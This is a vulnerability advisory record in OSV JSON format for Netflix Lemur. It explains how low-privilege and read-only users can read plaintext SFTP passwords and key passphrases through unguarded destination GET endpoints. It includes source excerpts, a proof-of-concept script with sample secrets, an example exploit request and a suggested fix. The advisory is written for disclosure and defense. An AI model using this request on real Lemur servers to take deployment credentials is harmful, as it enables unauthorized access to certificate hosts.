{"id":"PYSEC-2026-3674","summary":"Lemur: Authenticated low-privilege users can read plaintext destination credentials (SFTP password / private-key passphrase) via the destinations API","details":"### Summary\nLemur's destination read endpoints -- `GET /api/1/destinations` and `GET /api/1/destinations/\u003cid\u003e` -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (`POST`/`PUT`/`DELETE`) are gated with `@admin_permission.require(http_exception=403)`, but the two read handlers are protected only by `login_required` (inherited from `AuthenticatedResource`). They do not even exclude `read-only` users.\n\nThe built-in SFTP destination plugin (`sftp-destination`) stores its `password` and `privateKeyPass` options in cleartext in the `destinations.options` column (the plugin's own docstring states \"Passwords are not encrypted and stored as a plain text.\"). Because `DestinationOutputSchema` serializes every option value verbatim, any authenticated principal -- including a `read-only` user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.\n\n\n### Details\nRead endpoints lack the authorization that their write siblings enforce:\n\n`lemur/destinations/views.py`\n```python\nclass DestinationsList(AuthenticatedResource):\n    @validate_schema(None, destinations_output_schema)\n    def get(self):                       # \u003c-- only login_required; no admin/read-only gate\n        ...\n        return service.render(args)\n\n    @validate_schema(destination_input_schema, destination_output_schema)\n    @admin_permission.require(http_exception=403)   # write path IS gated\n    def post(self, data=None): ...\n\nclass Destinations(AuthenticatedResource):\n    @validate_schema(None, destination_output_schema)\n    def get(self, destination_id):       # \u003c-- only login_required; no admin/read-only gate\n        return service.get(destination_id)\n\n    @validate_schema(destination_input_schema, destination_output_schema)\n    @admin_permission.require(http_exception=403)   # write path IS gated\n    def put(self, destination_id, data=None): ...\n\n    @admin_permission.require(http_exception=403)   # write path IS gated\n    def delete(self, destination_id): ...\n```\n\nThe output schema emits all option values, including secret ones:\n\n`lemur/destinations/schemas.py`\n```python\nclass DestinationOutputSchema(LemurOutputSchema):\n    ...\n    options = fields.List(fields.Dict())          # raw option dicts, incl. {\"name\":\"password\",\"value\":...}\n\n    @post_dump\n    def fill_object(self, data):\n        if data:\n            data[\"plugin\"][\"pluginOptions\"] = data[\"options\"]   # copied verbatim into plugin block too\n            ...\n        return data\n```\n\n`options` is the raw `JSONType` DB column (`lemur/destinations/models.py`), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:\n\n`lemur/plugins/lemur_sftp/plugin.py`\n```python\n\"\"\"\n    Passwords are not encrypted and stored as a plain text.\n\"\"\"\noptions = [\n    ...\n    {\"name\": \"password\",       \"type\": \"str\", \"required\": False, ...},   # plaintext\n    {\"name\": \"privateKeyPass\", \"type\": \"str\", \"required\": False, ...},   # plaintext\n    ...\n]\n```\n\nThere is no `read-only` enforcement on these GET handlers (no `StrictRolePermission()` call), so even users explicitly restricted to read-only access can read the secrets.\n\n\n### PoC\nReproduction of Lemur's exact serialization path (verbatim `DestinationOutputSchema` + `PluginOutputSchema`, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:\n\n```python\nfrom marshmallow import fields, post_dump, Schema\n\nclass PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py\n    id = fields.Integer(); label = fields.String(); description = fields.String()\n    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to=\"pluginOptions\")\n    slug = fields.String(); title = fields.String()\n\nclass DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py\n    id = fields.Integer(); label = fields.String(); description = fields.String()\n    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)\n    options = fields.List(fields.Dict())\n    @post_dump\n    def fill_object(self, data):\n        if data:\n            data[\"plugin\"][\"pluginOptions\"] = data[\"options\"]\n            for option in data[\"plugin\"][\"pluginOptions\"]:\n                if \"export-plugin\" in option[\"type\"]:\n                    option[\"value\"][\"pluginOptions\"] = option[\"value\"][\"plugin_options\"]\n        return data\n\nclass Destination:                                # a stored SFTP destination row\n    id = 4; label = \"prod-nginx-sftp\"; description = \"Deploy certs via SFTP\"; active = True\n    options = [\n        {\"name\": \"host\", \"type\": \"str\", \"value\": \"10.0.5.20\"},\n        {\"name\": \"user\", \"type\": \"str\", \"value\": \"deploy\"},\n        {\"name\": \"password\", \"type\": \"str\", \"value\": \"S3cr3t-SFTP-Passw0rd!\"},\n        {\"name\": \"privateKeyPass\", \"type\": \"str\", \"value\": \"rsa-key-passphrase-xyz\"},\n    ]\n    plugin = {\"slug\": \"sftp-destination\", \"title\": \"SFTP\",\n              \"description\": \"Allow the uploading of certificates to SFTP\",\n              \"options\": [], \"id\": 1, \"label\": None, \"active\": None}\n\nout = DestinationOutputSchema().dump(Destination()).data\nimport json; print(json.dumps(out))\nassert \"S3cr3t-SFTP-Passw0rd!\" in json.dumps(out)\nassert \"rsa-key-passphrase-xyz\" in json.dumps(out)\n```\n\nOutput (truncated) -- the plaintext secrets appear in both `options` and `plugin.pluginOptions`:\n```json\n{\"options\":[ ... {\"name\":\"password\",\"type\":\"str\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"},\n {\"name\":\"privateKeyPass\",\"type\":\"str\",\"value\":\"rsa-key-passphrase-xyz\"} ...],\n \"plugin\":{\"pluginOptions\":[ ... {\"name\":\"password\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"} ...],\n \"slug\":\"sftp-destination\", ...}}\n```\n\nEnd-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:\n```\nGET /api/1/destinations/4 HTTP/1.1\nHost: lemur.example.com\nAuthorization: Bearer \u003clow-priv-user-token\u003e\n\nHTTP/1.1 200 OK\n{ \"plugin\": { \"pluginOptions\": [ ... {\"name\":\"password\",\"value\":\"S3cr3t-SFTP-Passw0rd!\"} ... ] } }\n```\n\n### Impact\nConfidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to `read-only` -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.\n\nSuggested fix: gate the destination GET handlers with `admin_permission` (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in `DestinationOutputSchema`.","aliases":["CVE-2026-71307","GHSA-6c8m-q6g9-vrw3"],"modified":"2026-08-19T12:45:09.730501569Z","published":"2026-08-19T11:56:28.427292Z","references":[{"type":"WEB","url":"https://github.com/Netflix/lemur/security/advisories/GHSA-6c8m-q6g9-vrw3"},{"type":"WEB","url":"https://github.com/Netflix/lemur/commit/751c970ec42a53d00ecc9c6a96e0e51b6737ae53"},{"type":"PACKAGE","url":"https://github.com/Netflix/lemur"},{"type":"WEB","url":"https://github.com/Netflix/lemur/releases/tag/v1.9.3"},{"type":"PACKAGE","url":"https://pypi.org/project/lemur"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-6c8m-q6g9-vrw3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71307"}],"affected":[{"package":{"name":"lemur","ecosystem":"PyPI","purl":"pkg:pypi/lemur"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.3"}]}],"versions":["0.11.0","0.2.1","0.8.0","0.8.1","0.9.0","1.0.0","1.1.0","1.2.0","1.3.1","1.3.2","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1","1.9.2"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/lemur/PYSEC-2026-3674.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}